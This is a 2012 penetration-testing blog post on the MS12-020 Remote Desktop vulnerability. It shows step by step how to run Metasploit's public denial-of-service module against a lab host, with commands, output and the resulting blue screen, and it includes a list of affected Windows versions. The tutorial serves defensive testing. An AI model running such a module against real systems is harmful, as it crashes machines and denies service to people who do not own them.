Microsoft RDP Vulnerability PoC

pentestlab.blog/category/exploitation-techniques/page/15

March 26, 2012

One of the most critical vulnerabilities that exist in Windows platforms is the Remote Desktop Protocol flaw that have discovered from the security researcher Luigi Auriemma.According to Auriemma the vulnerability exists in the handling of the maxChannelIds field of the T.125 ConnectMCSPDU packet.

Microsoft has rated this vulnerability as critical and they are claiming that it could lead to remote code execution.So in this article we are going to see the PoC exploit that have released about the RDP flaw.

We are opening Metasploit Framework and we are searching for the available RDP modules.

```
msf > search RDP

Matching Modules
================

   Name                                                     Disclosure Date  Rank
   Description
   ----                                                     ---------------  ----
   -----------
   auxiliary/dos/windows/rdp/ms12_020_maxchannelids         2012-03-16       normal
   MS12-020 Microsoft Remote Desktop Use-After-Free DoS
   auxiliary/scanner/http/wordpress_login_enum                               normal
   Wordpress Brute Force and User Enumeration Utility
   exploit/unix/webapp/php_wordpress_lastpost               2005-08-09       excellen
t  WordPress cache_lastpostdate Arbitrary Code Execution
   exploit/unix/webapp/php_xmlrpc_eval                      2005-06-29       excellen
t  PHP XML-RPC Arbitrary Code Execution
   exploit/windows/browser/adobe_flashplayer_newfunction    2010-06-04       normal
```

Search for RDP exploits

We can see that there is an auxiliary module (ms12_020) that could cause DoS (Denial Of Service) to our targets.We are going to use this module in order to test our systems.

As we can see from the next image this module requires only to put the remote host in order to start sending malformed packets to port 3389.

```
msf > use auxiliary/dos/windows/rdp/ms12_020_maxchannelids
msf  auxiliary(ms12_020_maxchannelids) > show options

Module options (auxiliary/dos/windows/rdp/ms12_020_maxchannelids):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOST                    yes       The target address
   RPORT   3389             yes       The target port

msf  auxiliary(ms12_020_maxchannelids) > set RHOST 172.16.56.128
RHOST => 172.16.56.128
msf  auxiliary(ms12_020_maxchannelids) > exploit
```

Configuring the RDP DoS Module

When we run this module we will notice that it will send some packets and then the RDP service will be unavailable causing a DoS to the target machine.

```
msf  auxiliary(ms12_020_maxchannelids) > exploit

[*] 172.16.56.128:3389 - Sending MS12-020 Microsoft Remote Desktop Use-After-Free DoS
[*] 172.16.56.128:3389 - 210 bytes sent
[*] 172.16.56.128:3389 - Checking RDP status...
[+] 172.16.56.128:3389 seems down
```

Executing the RDP DoS Module

From the other hand the target machine will respond with a Blue Screen and the system will need to reboot.

```
A problem has been detected and windows has been shut down to prevent damage
to your computer.

The problem seems to be caused by the following file: RDPWD.SYS

PAGE_FAULT_IN_NONPAGED_AREA

If this is the first time you've seen this Stop error screen,
restart your computer. If this screen appears again, follow
these steps:

Check to make sure any new hardware or software is properly installed.
If this is a new installation, ask your hardware or software manufacturer
for any windows updates you might need.

If problems continue, disable or remove any newly installed hardware
or software. Disable BIOS memory options such as caching or shadowing.
If you need to use Safe Mode to remove or disable components, restart
your computer, press F8 to select Advanced Startup Options, and then
select Safe Mode.

Technical information:

*** STOP: 0x00000050 (0xE958946C,0x00000000,0xB275CFAB,0x00000002)


***     RDPWD.SYS - Address B275CFAB base at B2746000, DateStamp 3b7d82bd
```

Blue Screen after the execution of RDP Module

According to Microsoft the operating systems that this vulnerability affects are:

- Windows XP SP3
- Windows XP Professional X64 SP3
- Windows 2003 Server SP2
- Windows 2003 Server x64 SP2
- Windows Vista SP2
- Windows Vista x64 SP2
- Windows 2008 Server x32/x64 SP2
- Windows 7 SP0/SP1
- Windows 7 x64 SP0/SP1
- Windows Server 2008 R2 x64 SP0/SP1

Conclusion

As we saw this code it only causes a DoS on systems that have enable the remote desktop protocol.This exploit is a PoC (Proof of Concept) that the vulnerability exists but that module doesn't deliver any payload to the remote targets.New exploits that may come out will probably give that option of remote code execution but until now this module is the only that we have when we need to check our systems for the RDP vulnerability.

From the other hand the RDP is a service which is by default disabled in most windows versions and if we already have this service up and running we should disable it immediately in order to avoid being targeted by malicious users.

References

http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0152

http://technet.microsoft.com/en-us/security/bulletin/ms12-020

http://aluigi.org/adv/termdd_1-adv.txt